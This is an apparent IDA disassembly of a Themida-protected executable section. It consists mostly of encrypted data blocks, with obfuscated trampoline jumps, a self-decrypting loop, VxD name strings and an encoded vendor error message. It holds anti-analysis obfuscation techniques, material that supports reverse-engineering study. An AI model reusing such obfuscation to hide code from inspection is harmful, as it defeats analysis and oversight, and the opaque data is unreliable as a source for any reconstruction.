		dd 2A9D78Eh, 6DCC7C40h,	7C3B8782h, 7FDB6DCCh, 1A4FF88Fh
		dd 11E60A66h, 0A44A11EFh, 0A4B9BD69h, 0CC7C5EE7h, 0CC9ED66Dh
		dd 7C4BF7B2h, 0A2896DCCh, 6DCC7C20h, 0BCB868C4h, 7C5BE7A2h
		dd 5FBB6DCCh, 0A9D7C28Ah, 2DA196D7h, 9696CEBAh,	0CCCB53EFh
		dd 661CB36Dh, 0D7FB772Bh, 0A9D72A02h, 0CC7C4002h, 0B3C8A46Dh
		dd 36488128h, 7CE16148h, 29056DCCh, 96D77854h, 0D8F0BB67h
		dd 0FC6784CBh, 518E41F8h, 2BF6B07Ch, 0B366B22h,	41h, 1BC05C81h
		dd 6104D78Dh, 0DBF07420h, 7CB90605h, 0D9556DCCh, 51903407h
		dd 96D7B07Ch, 5956B5FDh, 0BDE502E0h, 78515A7Fh,	0F40AEE0Bh
		dd 6F89E8F7h, 82575109h, 437A32AAh, 408A4275h, 3Ah, 1BC05C8Ch
		dd 6BD4D78Dh, 0A16DCC7Ch, 3DB29BB5h, 1D031E31h,	73EE665h
		dd 0F5D75AF2h, 653A7A32h, 592CF65Ah, 4292183Ch,	0D969203Eh
		dd 86DCC7Ch, 0C6F20C6Dh, 72EE9EE0h, 1140CF55h, 40FFFFFEh
		dd 0ABE89B1Eh, 368C7BF7h, 0CE6DCC7Ch, 5CAF7552h, 9BAB15BDh
		dd 499B13B4h, 9A58532Dh, 3A67FB0Eh, 0CF20CDEh, 21FAA51Dh
		dd 0DC4194h, 0C1E85BF3h, 0CC876480h, 8141E813h,	43942167h
		dd 2167FA48h, 4E3E1A94h, 73B053D2h, 7386DB4Fh, 7A01E55Fh
		dd 0A849607Ch, 9BB7BB67h, 0BBA5B7h, 52390E4Bh, 9421C5F0h
		dd 0DB672214h, 3B9421C5h, 0DBCDFADFh, 6DC9FB8Eh, 6ACE9D89h
		dd 99942176h, 63AE4BEAh, 43397E20h, 10h, 7C440289h, 32D96DCCh
		dd 0EBC841FDh, 34000000h, 7CC996D7h, 0F9306F92h, 607281E4h
		dd 79CEDC89h, 8C36F549h, 686DCCEDh, 1316E80Ch, 6DCCEDAFh
		dd 0F507EB47h, 8C36F50Bh, 686DCCEDh, 2734EF0Ch,	0BF67FC81h
		dd 1CD28963h, 0C8936DE1h, 0D301E623h, 4AF7844Ch, 1FC3906Dh
		dd 9B4F0AE4h, 269B8B60h, 4C324C8Fh, 6205D78Dh, 0D1554125h
		dd 11D30FFCh, 0F7739E0Bh, 0D8D5E8E5h, 0CC8FFD8Ah, 4D29DD14h
		dd 0AD2C5429h, 300ABEF9h, 0ADCA05A9h, 51458026h, 74865564h
		dd 266B26B5h, 48AD9E94h, 0F76213E2h, 411DDDFAh,	0E85A512Fh
		dd 0C800653h, 96253B10h, 2C6B1DEDh, 0D4C0F7ADh,	41B87450h
		dd 0EFE8558Ah, 0CF5E2FE1h, 792CED7h, 7A70000h, 0DB9108C4h
		dd 0FCB128A4h, 0DB9007C3h, 0F9AB2A9Eh, 0FC08FEBAh, 1F9BDA8Eh
		dd 0F8B4F598h
		dd 1692CD81h, 0F7B3E89Fh, 0C1812814h, 256BDF13h, 7932FCC8h
		dd 5BDE5044h, 0AE5D6FA4h, 6DCC7C14h, 0DC5774F0h, 4502EE23h
		dd 803B9F36h, 164FF6C8h, 36EA066Ah, 35790D3Ah, 0E5197BE2h
		dd 5F944B08h, 94DD30EBh, 3CBD336Ah, 0F000000h, 4C1EBD5Ch
		dd 0E55D4C32h, 16DCC7Ch, 0C65B4825h, 0BE67FC1Fh, 46B30D8Dh
		dd 0E0FD756Bh, 0D8523E1Ah, 0CC598FF3h, 4825F03Fh, 237FE35Bh
		dd 0D2710294h, 7C32D617h, 3AB639h, 5C140000h, 5D4C1EBDh
		dd 67FC2A40h, 770E025Eh, 981F9BD0h, 956B1FEFh, 65C1B5F2h
		dd 0B5919581h, 7C7E6FC1h, 7C6FE328h, 6E85D8F5h,	30E419D2h
		dd 4B3E1034h, 9E13B75Eh, 0BA500C68h, 0A62DB415h, 0D86A213Fh
		dd 3C6DCC7Ch, 7C8939E0h, 0F16D6DCCh, 9310FBD5h,	3367FC20h
		dd 0F7ABE69Ch, 18AA617Bh, 0FC9423A0h, 0DA814420h, 55B91D97h
		dd 904F8392h, 9373C77Bh, 56973AF1h, 0D0AAC6AAh,	34762BAEh
		dd 0E92BBE30h, 86637F77h, 85D9C89Dh, 26DA565Eh,	0CFA13AD9h
		dd 4318590Ch, 82A66E1Dh, 25E5495h, 0A24316E8h, 18CF8C61h
		dd 6843EEDh, 4604095h, 6833FEAh, 7634095h, 738D6FEBh, 95060AB8h
		dd 596EEA40h, 47F429E2h, 9EBCB454h, 1D5B4C58h, 32000006h
		dd 0FA813D80h, 189F1B52h, 0F5843871h, 22991552h, 8D7B2F6Eh
		dd 22610371h, 3D7E2FA6h, 1954FA81h, 386D16A5h, 0F4B78984h
		dd 6BDF0D4Eh, 328349A6h, 39504479h, 82DF5B94h, 68966873h
		dd 7C2F9396h, 6BC76DCCh, 9FD34ECh, 8F53502Dh, 2767FBD2h
		dd 8940574Bh, 64FEEB50h, 0DEB64A09h, 5BBF5h, 0DB1ED000h
		dd 0F930D85Fh, 0D60FB645h, 0F330D362h, 0CD0CC037h, 7DEF1B11h
		dd 49D08CCBh, 64F367A8h, 50C783BEh, 3E66297h, 0DB012F9h
		dd 57546BDFh, 83BD5CCDh, 0ADBFA3E0h, 0FBD220FEh, 0B460BC67h
		dd 92377015h, 4A09646Fh, 6D821303h, 82000005h, 4AD18DD0h
		dd 68EF6BA2h, 45D488C1h, 72E965A2h, 0DDCB7FBEh,	529133A1h
		dd 6DAE5FD6h, 89C46AF1h, 689D46D5h, 407F9F4h, 6BDF0DBEh
		dd 0D7D35956h, 7C2F5C04h, 6DCC7CC6h, 721E421Eh,	7CB111F8h
		dd 0D9556DCCh, 767DE0FDh, 0FC628B65h, 0E827C981h, 8E46003h
		dd 0CC1E0DF3h, 5867FBEEh, 56C509D3h, 0C9ADEEBBh, 427F24B7h
		dd 0AB627925h, 9CB4C572h, 0D0C44A09h, 4F3C7h, 23660800h
		dd 417830A7h, 1E570E8Dh, 3B782BAAh, 1554F87Fh, 2557B399h
		dd 11884483h, 2CAB1F60h, 0F87F3B76h, 0AB9E1A4Fh, 0E68DAD1h
		dd 0F8C6BDFh, 44793285h, 5D923950h, 16AD16A9h, 0A723580Fh
		dd 4E427730h, 0CC7CBE07h, 861D646Dh, 0F7B3E89Fh, 0DE92C780h
		dd 0BA7040E7h, 0B38F937Fh, 0D00BAAF7h, 112E0BFEh, 23B667FCh
		dd 452F3C7Eh, 0DAA4862Ch, 4521E1F6h, 59BC0A51h,	0DC919423h
		dd 33D8EFA3h, 0BB1D0AF6h, 0AFE0A4E8h, 801FD284h, 99384B3Ch
		dd 7B67915Ch, 953A0139h, 0F02FE158h, 5F75DBh, 5CD70000h
		dd 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 4601453h, 0D67037E7h
		dd 67943C7Ch, 299990C5h, 0CD943C7Ch, 9C817551h,	1B54F207h
		dd 0E48A4189h, 361A5B0Eh, 8939F04Ah, 6D943CC7h,	2EC55EF1h
		dd 23C2F1A2h, 7A7AEBC6h, 86855B39h, 943CD33Ch, 87825CD8h
		dd 943CD33Bh, 66A7FDBh,	0EBh, 44793244h, 58973950h, 41762DACh
		dd 588D3655h, 0DE25E4h,	68966DCCh, 338001C1h, 0D289E592h
		dd 510ADF1Eh, 758B659Ah, 33800CB6h, 6F8CE892h, 0A14615E7h
		dd 13CC8764h, 36BD32DEh, 5810CBA5h, 75344C21h, 9803F3B4h
		dd 0E75B4E30h, 0FF942395h, 0C100A423h, 0BE7AF6ACh, 77895261h
		dd 155D86B4h, 0E8025E9Eh, 6E80BF71h, 6FA39EBh, 12894D2Ah
		dd 0C082295Eh, 0EF9E114Ch, 0B30BE754h, 7DF9A96Ah, 7A91F459h
		dd 91D4038h, 367A0h, 87CA7C00h,	659C44D3h, 82BB72E9h, 5F9C4FC6h
		dd 79B86CEBh, 49BBC7C5h, 65F468A7h, 50C783C4h, 6CEB5F9Ah
		dd 0DFCA7EB3h, 0F942EDDh, 73706BDFh, 5B04D7A9h,	0E1F67A26h
		dd 0BA81B65Ah, 472BD716h, 0CC7CE260h, 0AF26026Dh, 2A9EC2F9h
		dd 0BBFF4ABh, 0C607AA31h, 0F90D4DDAh, 0C59BA346h, 5C00CCA1h
		dd 8D4C1EBDh, 255E03D9h, 0FCD15541h, 7C0C25E4h,	0E0A67FCh
		dd 9D510862h, 209E8562h, 0C3942383h, 0F9D411B0h, 0D9397B36h
		dd 0ACh, 44793233h, 0ED55542Ah,	96DCC7Ch, 0DC4E502Dh, 5C71A65Dh
		dd 2EE2DDFh, 0CC00AC53h, 93C87F6Dh, 0B2E7A017h,	0F9E2F1BEh
		dd 0F3E724E7h, 0C39F9803h, 0CA1BBA07h, 239563DFh, 30A78394h
		dd 0D1554178h, 0FB30DBF5h, 8B9E1558h, 0BDA3BD8Fh, 114874CEh
		dd 0B794909Eh, 550948FCh, 76E322C6h, 4038FA31h,	751C8D99h
		dd 8A000002h, 0B229A5E8h, 9007C3FAh, 0AD2CA0D9h, 7A01BDFAh
		dd 252397D6h, 0BAF9ABD9h, 95D677FEh, 0B1ECA219h, 90C57EFDh
		dd 5C4F311Ch, 6BDF08E6h, 0D71BA1FEh, 43071C96h,	0D289E2D3h
		dd 5209DE1Fh, 6CEB5F9Eh, 3CCA7EB3h, 50447932h, 0B90900DEh
		dd 966DCC7Ch, 66CAB6EFh, 7DC5C4B6h, 996DCC7Ch, 17A4B99Dh
		dd 3F213B70h, 0CC7CF64Ch, 0D4770E6Dh, 6B87EB97h, 5C7BC88Eh
		dd 25BE6D7Fh, 0C167FC1Fh, 5CEAB165h, 0BF9423A1h, 45886D04h
		dd 25397B4Dh, 2Ah, 1EBD5C67h, 20CC5D4Ch, 7EDA67FCh, 2B97926Ch
		dd 0CB9423A1h, 0DD8C7A4Fh, 9423A161h, 9550EF84h, 397B593Ch
		dd 431Ch, 45026E00h, 46DCC7Ch, 599A4BF5h, 31D8637Dh, 53280CF8h
		dd 8757E2Dh, 0EC6F67FCh, 280CF839h, 8F384F53h, 0A6CAA65Ah
		dd 48364832h, 2388E161h, 82290594h, 942388C0h, 88BB0702h
		dd 0FF5B9423h, 6E36130Fh, 4C1EBD5Ch, 7CCB7732h,	2F2B6DCCh
		dd 0E243461Ah, 1C67FC1Eh, 0B9055440h, 5C9423A2h, 0A46D8827h
		dd 14397B4Bh, 0B064A345h, 233197B4h, 9B000000h,	0CC7C4402h
		dd 0E7F4036Dh, 81D1615h, 0BDB967FCh, 7085AAA3h,	0E6206DD6h
		dd 0DF0CA05Ch, 81567006h, 0BD5C2FBDh, 7CC18128h, 0A55E6DCCh
		dd 0F0A08470h, 13AF5A74h, 0F36DCC7Ch, 8A815B77h, 67FBD228h
		dd 0DB5E70ECh, 0BC3BEF24h, 0CD22CE03h, 1A53FA46h, 7FBC6F66h
		dd 29BB7663h, 0A726C1A4h, 0DDFAB1CBh, 179E178Eh, 13784CD6h
		dd 21981DD0h, 0E440346Bh, 45171307h, 0FC46451Bh, 189E1535h
		dd 0CB743F1Ch, 0EC932296h, 0DFF6CBB7h, 8074AB61h, 0D0AEC0A4h
		dd 52276809h, 254C6459h, 41A68294h, 5E2C8EF6h, 0A1594A5Ah
		dd 0B6000000h, 0DE5DD114h, 0BC3BEF26h, 8910CC05h, 0A635A9E6h
		dd 2107C302h, 96D577E5h, 0B1F29322h, 8DC87EFDh,	6CA14AD1h
		dd 803FDF0h, 6BDF0ABAh,	5CB77D5Ah, 324C1EBDh, 0CC7CCB77h
		dd 4122F66Dh, 93EAC939h, 966A7FDBh, 0FBEFB693h,	20D45067h
		dd 11CD02A9h, 0F8ACE18Ah, 8EDA2B1h, 8322812Ah, 0F8B4E9A2h
		dd 0E195CA81h, 1C0845EAh, 0D958F78Ah, 71AC6232h, 9C5A185h
		dd 6309D992h, 0D8FC782Ch, 1EBB2Ch, 0F6C50000h, 6B41164Fh
		dd 4002A9D7h, 0A46DCC7Ch, 1B55B3C8h, 5B12ECA0h,	0CEF26E22h
		dd 0A3293E22h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh
		dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h
		dd 0E08950CFh, 405h, 4E88300h, 8B240487h, 3F682424h, 8900005Ah
		dd 8956242Ch, 4C681E6h,	81000000h, 4EEh, 24348700h, 240C895Ch
		dd 661CBF57h, 0E7D1152Ah, 8103EFC1h, 0DF68CBC7h, 31EF8141h
		dd 81757B34h, 648986C7h, 5FFD8934h, 240C8B54h, 6804C483h
		dd 3CE8h, 0BA241489h, 8, 2A89CA01h
		dd 240C8B5Ah, 5E08950h,	4, 8704C083h, 0FF5C2404h, 815D2434h
		dd 4C4h, 8A2E900h, 0F228FFFDh, 3B09EEFDh, 0D810C084h
; ---------------------------------------------------------------------------
		pop	es
		or	ah, al


loc_582C43:				; CODE XREF: Themida_:loc_580B3Bj
		mov	eax, 6137742h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		mov	esp, 0A51977D8h
		dec	eax
		retf	863Ah
; ---------------------------------------------------------------------------
		db 8Eh,	0FAh, 72h
		dd 0FF62229h, 7F4DE4F0h, 7880D9D0h, 6E8h, 0DFBF8D00h, 0B7ACE145h
		dd 0C2815AD3h, 7588h, 0EE9h, 228E6100h,	75FCFA3h, 0DCF15F69h
		dd 0BEA23ED0h, 3640242Ch, 391BF681h, 85B53640h,	0E95832FFh
		dd 11h,	0B5AB483h, 9B208348h, 0AD092846h, 463877F4h, 35F0817Fh
		dd 810724C8h, 37C27AF0h, 3800F46h, 66000000h, 0E881CF8Bh
		dd 92D91F6h, 11E9h, 0A65F2800h,	0C8ED8D9Fh, 0D5C55174h
		dd 975B86E7h, 665074DDh, 28FFA8Bh, 68D0Fh, 8E0F0000h, 0
; ---------------------------------------------------------------------------
		sub	edx, 4
		jle	loc_582D11
		jmp	loc_582D11
; ---------------------------------------------------------------------------
		dw 7704h
		dd 0A72ACF48h, 2A763F0Ch, 0E02E8848h
; ---------------------------------------------------------------------------
		push	esi


loc_582D11:				; CODE XREF: Themida_:00582CF7j
					; Themida_:00582CFDj
		dec	esi
		jnz	near ptr dword_582C58+40h
		stc
		jmp	short loc_582D4F
; ---------------------------------------------------------------------------
aIfsmgrVkdVmmVw	db 'IFSMGR  VKD     VMM     VWIN32  VXDLDR  ',0
		dd 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_582D4F:				; CODE XREF: Themida_:00582D19j
		jmp	loc_58353A
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_582D5F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582D5F	proc near		; CODE XREF: Themida_:00582D57p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_582D5F	endp

; ---------------------------------------------------------------------------
		mov	dl, 3Dh
		jecxz	short loc_582DD3
		pusha
		mov	cl, bh
		mov	edx, 5B0050F2h
		popa
		cmc
		mov	dword ptr [ebp+61378D8h], 0
		push	0
		push	ebp
		call	sub_582D92
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582D92	proc near		; CODE XREF: Themida_:00582D8Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_582D92	endp

; ---------------------------------------------------------------------------
		dw 2976h
		dd 600BBD40h, 5E860h, 0AF750000h, 5E3A870Ch, 8E9h, 0F729B700h
		dd 6EDDE124h, 6CB9617Bh, 61673261h, 6AC68Bh, 3E857h
		db 2 dup(0), 20h
; ---------------------------------------------------------------------------


loc_582DD3:				; CODE XREF: Themida_:00582D71j
		pop	edi
		retn
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esp+4], edi
		add	dword ptr [esp+4], 17h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		db 0DCh, 26h, 0D8h
		dd 0B8A0FCDh, 60000000h, 0CC49BE66h, 8FC88166h,	0B70F61B0h
		dd 18B0FD8h, 0F8000000h, 6A10E8C1h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A93EC357h
		dd 0F1068BE9h, 8D0FC345h, 7, 1850Fh, 66F90000h,	0F808C8C1h
		dd 78DC8589h, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0C61ABEC3h, 0F468678h, 188h, 0C166F500h
		dd 6A08CBh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 60BF2BC3h, 0C2B70F53h, 63BB665Bh,	0FB836167h
		dd 31850F40h, 0E9000000h, 0Bh, 60C5DAC1h, 0BB2858F4h, 8D5467DAh
		dd 1378B0BDh, 8B0F6006h, 3, 0FD0B70Fh, 48Bh, 0DABA6600h
		dd 0B3E961B6h, 0F9000001h, 0F0DFB83h, 3185h, 2860F00h
		dd 60000000h, 0B8BD8D61h, 0F061378h, 182h, 8FE9FC00h, 0F000001h
		dd 685h, 80FC6000h, 0E96157D8h,	6, 0C7748646h, 0FB83727Bh
		dd 0A7850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0CE57C356h,	0A7EA2990h
		dd 67C8264Ch, 78B0Fh, 8F0F0000h, 1, 0C0BD8DF8h,	6A061378h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 2C12C350h, 383432EFh, 9E9h, 97312200h, 87A43C23h
		dd 13E924C2h, 0F0000000h, 7E7E4CDFh, 74E9B8h, 0BDBA0576h
		dd 14102CCDh, 0EBE99E53h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0CB95C350h
		dd 0ECF67B0Bh, 0FB83F845h, 60850F2Ah, 0F000000h, 0B8Ah
		dd 6E900h, 0B2410000h, 367B4BB4h, 78C8BD8Dh, 8C0F0613h
		dd 0Eh,	820F60h, 0F000000h, 8Ah, 8FE96100h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 1214C356h, 28957727h, 8E92B8Eh, 76000000h
		dd 0A3462486h, 83541493h, 850F27FBh, 38Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 19C35545h, 7E9C8h
		dd 50C60000h, 0C14E3789h, 11E932h, 0E5470000h, 0A55F7D87h
		dd 622F02C7h, 87048AA1h, 8D89C962h, 1378D0BDh, 0CE906h
		dd 9BBC0000h, 0F241562h, 2832BB00h, 0BD8910B5h,	61378E0h
		dd 9E9h, 2DAA3400h, 15F935E5h, 8C66AFE9h, 0CB8160C8h, 551A2137h
		dd 11E9h, 7F5700h, 0B105074Bh, 0F46A2D21h, 0AAF4FADAh
		dd 24617E6Dh, 51006A03h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8C0F6A1Eh, 5, 94D68060h, 7E9F861h
		dd 0E8000000h, 5EC5C0BFh, 0C00AAC49h, 220850Fh,	850F0000h
		dd 10h,	0BE9h, 9B08E400h, 0A1459FEEh, 4647A7CBh, 7FA0B58Dh
		dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 49FC84C3h, 0F8D0C6C2h, 14E952h, 0A7160000h
		dd 84401AE8h, 9C4530B7h, 0FE6D2A5Dh, 44003263h,	0F60B5DCh
		dd 38Eh, 0D0BF0F00h, 858B61F8h,	613804Ch, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 0B3C35646h, 9E666597h
		dd 537C643h, 13E9h, 6A70A500h, 24355E59h, 4363C5AFh, 0BD71D075h
		dd 3552EA32h, 0C830F92h, 0E9000000h, 7,	0C2E2C11Eh, 50F3E0B1h
		dd 0EE9h, 0B6660D00h, 5D36C0BAh, 7B539F8Ch, 9241937Eh
		dd 18810Fh, 13E90000h, 74000000h, 7011E0DFh, 4AB55AA6h
		dd 5297EA39h, 0CB9E5EC0h, 10F709Ah, 60FE244Ch, 1850Fh
		dd 80F50000h, 606133EFh, 6830Fh, 8D0F0000h, 0
; ---------------------------------------------------------------------------
		popa
		pop	edx
		push	0
		push	esi
		call	sub_58320D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58320D	proc near		; CODE XREF: Themida_:00583205p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_58320D	endp

; ---------------------------------------------------------------------------
		push	61h
		cdq
		cmp	al, 0FAh
		mov	byte ptr [eax-46h], 12h
		jbe	loc_58323E
		pusha
		jmp	loc_583237
; ---------------------------------------------------------------------------
		dw 823Eh
		db 0Eh,	8Fh, 7Bh
; ---------------------------------------------------------------------------


loc_583237:				; CODE XREF: Themida_:0058322Dj
		and	ecx, 448648D0h
		popa


loc_58323E:				; CODE XREF: Themida_:00583226j
		jmp	loc_58324C
; ---------------------------------------------------------------------------
		db 0E5h
		dd 0FDD74CE6h, 9EB293A1h
; ---------------------------------------------------------------------------


loc_58324C:				; CODE XREF: Themida_:loc_58323Ej
		add	edx, 24h
		jns	loc_583264
		jmp	loc_583264
; ---------------------------------------------------------------------------
		dw 7AF1h
		dd 57009B6Ah, 219A183h
; ---------------------------------------------------------------------------


loc_583264:				; CODE XREF: Themida_:0058324Fj
					; Themida_:00583255j
		mov	[edx-4], si
		push	0
		push	edx
		call	sub_583273
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583273	proc near		; CODE XREF: Themida_:0058326Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_583273	endp

; ---------------------------------------------------------------------------
		db 8
		dd 168EEDA3h, 9DADE8D0h, 10CEC1F8h, 7E9h, 0E1966300h, 2A8E795Fh
		dd 2728966h, 0D890Fh, 8E90000h,	0CD000000h, 9F6A0612h
		dd 0CDB0B461h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0C80E45EAh, 0BE9065Fh
		dd 0B8000000h, 9C990151h, 6B259D51h, 11E96D26h,	0CF000000h
		dd 0FEBAACAEh, 0CD804892h, 0C065C51h, 49C127CCh, 18C0Fh
		dd 0E9F80000h, 99h, 9E9h, 56E6CF00h, 0AD22A8A7h, 858B0A9Fh
		dd 613804Ch, 0C810Fh, 880F0000h, 6, 8C0Fh, 0B58D0000h
		dd 6137FA0h, 6870Fh, 66600000h,	6114F0BFh, 54E6858Dh, 6A0613h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E99CB8C3h, 8, 0B95B6032h, 571E30AAh, 6AD0FFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 676EF1C3h, 0FE39028h, 782h, 18B0F00h, 0FC000000h, 0D88589FCh
		dd 60061378h, 6800Fh, 0EF810000h, 6F480333h, 0DAEBFFBBh
		dd 6A61617Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0FBE6C350h, 858BF831h,	61378D8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 24C35545h
		dd 0F0421122h, 0B378C933h, 0A9E68060h, 60F8C361h, 9E9h
		dd 0C4518500h, 0E1152109h, 0BD83599Ch, 613804Ch, 72850F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 9B63C350h, 238AE67Bh, 85C79C41h
		dd 613804Ch, 1013Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0FDC35242h, 30B62CEBh, 786264CAh, 13820F62h
		dd 0E9000000h, 0Eh, 910E2CA3h, 0BC936BA0h, 750647E7h, 8E0F0F45h
		dd 1, 17E9FCh, 12E90000h, 0D2000000h, 1965609Ch, 480A62CEh
		dd 537775E8h, 88F3C493h, 20CD13h, 0B000000h, 8D3774C0h
		dd 0BD8B0C70h, 61378E0h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h
		dd 61378DCh, 7F34583Bh,	6BD38B15h, 0CA0304D2h, 8589018Bh
		dd 61378D8h, 8B04EBh, 8B61C5EBh, 1378D885h, 0B760CF06h
		dd 0DF816693h, 6A617788h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 3783C355h, 11E9h, 6DB19900h
		dd 890B0153h, 0EEFDF228h, 0C0843B09h
; ---------------------------------------------------------------------------
		adc	al, bl


loc_58353A:				; CODE XREF: Themida_:loc_582D4Fj
		mov	eax, eax
		call	sub_583550
		pop	edx
		push	ecx
		mov	bl, 2Eh
; ---------------------------------------------------------------------------
		db 0D9h, 0D4h, 0DFh
		dd 0ED3C3A80h, 842DE3A1h

; =============== S U B	R O U T	I N E =======================================



sub_583550	proc near		; CODE XREF: Themida_:0058353Cp

var_64		= dword	ptr -64h
var_5C		= dword	ptr -5Ch
var_48		= dword	ptr -48h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		pop	esi
		push	edi
		mov	cx, 2D5h
		pop	ebx
		add	esi, 5B9Ch
		mov	bx, 6145h
		mov	edi, 16C8h
		sub	bx, 0B429h


loc_58356B:				; CODE XREF: sub_583550:loc_5835B4j
		push	dword ptr [esi]
		mov	ch, 41h
		pop	eax
		mov	bx, di
		sub	eax, 2365F8BCh
		mov	dh, 0Ah
		sub	eax, 5FA0A845h
		mov	bx, cx
		sub	eax, 18C448A0h
		mov	ebx, eax
		mov	[esi], eax
		mov	edx, 603B9096h
		sub	esi, 4
		movzx	ebx, dx
		dec	edi
		jnz	loc_5835B4
		mov	edx, 0D58256Bh
		jmp	loc_5835C1
; ---------------------------------------------------------------------------
		dw 5C4Ch
; ---------------------------------------------------------------------------
		xor	esi, ebp
		adc	[ebx+5173716Eh], esi


loc_5835B4:				; CODE XREF: sub_583550+4Aj
		jmp	loc_58356B
; ---------------------------------------------------------------------------
		db 11h,	0B1h, 15h
		dd 9B94871h
		db 8Ch
; ---------------------------------------------------------------------------


loc_5835C1:				; CODE XREF: sub_583550+55j
		jmp	loc_5839C6
; ---------------------------------------------------------------------------
		align 4
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset loc_55FFFD+3
		dd offset dword_445750+0A8B0h
		dd 0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5839C6:				; CODE XREF: sub_583550:loc_5835C1j
		jmp	loc_584BA3
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	loc_5839D6
		and	[edx-3Dh], bl


loc_5839D6:				; CODE XREF: sub_583550+47Ep
		pop	edx
		mov	[esp+arg_0], edx
		add	[esp+arg_0], 16h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		adc	ebp, [edi+22h]
		mov	[ebp+6101165h],	esi
		mov	[ebp+610228Dh],	edi


loc_5839F5:				; DATA XREF: Themida_:0054D5BCo
		mov	eax, [ebp+6102E61h]
		push	0
		push	ebx
		call	loc_583A06
		and	[ebx-3Dh], bl


loc_583A06:				; CODE XREF: sub_583550+4AEp
		pop	ebx
		mov	[esp+8+var_4], ebx
		add	[esp+8+var_4], 15h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		jle	short near ptr loc_583A65+2
		jno	loc_583A1F
		cld


loc_583A1F:				; CODE XREF: sub_583550+4C8j
		mov	[ebp+610348Dh],	edi
		cmp	[esp+0Ch+var_8], eax
		jnz	loc_583ABD
		push	0
		push	eax
		call	loc_583A3A
		and	[eax-3Dh], bl


loc_583A3A:				; CODE XREF: sub_583550+4E2p
		pop	eax
		mov	[esp+10h+var_C], eax
		add	[esp+10h+var_C], 1Dh
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		xor	[esp+14h+var_14], eax
		sbb	al, 0C3h
		sub	eax, 0C43629E4h
		stc
		cmp	dword ptr [ebp+61022E5h], 0
		jz	loc_583ABD
		push	0
		push	ebp


loc_583A65:				; CODE XREF: sub_583550+4C6j
		call	loc_583A6D
		and	[ebp-3Dh], bl


loc_583A6D:				; CODE XREF: sub_583550:loc_583A65p
		pop	ebp
		mov	[esp+18h+var_14], ebp
		add	[esp+18h+var_14], 17h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		xlat
		mov	byte ptr [ebx+30h], 89h
		xchg	eax, ebp
		xchg	eax, ebp
		and	edx, [eax]
		push	es
		lea	eax, [ebp+6103A32h]
		pusha


loc_583A8E:				; CODE XREF: sub_583550+56Aj
		mov	si, 343Bh
		sub	[ebp+610141Dh],	edi
		popa
		jmp	eax
; ---------------------------------------------------------------------------
		push	0
		push	ecx
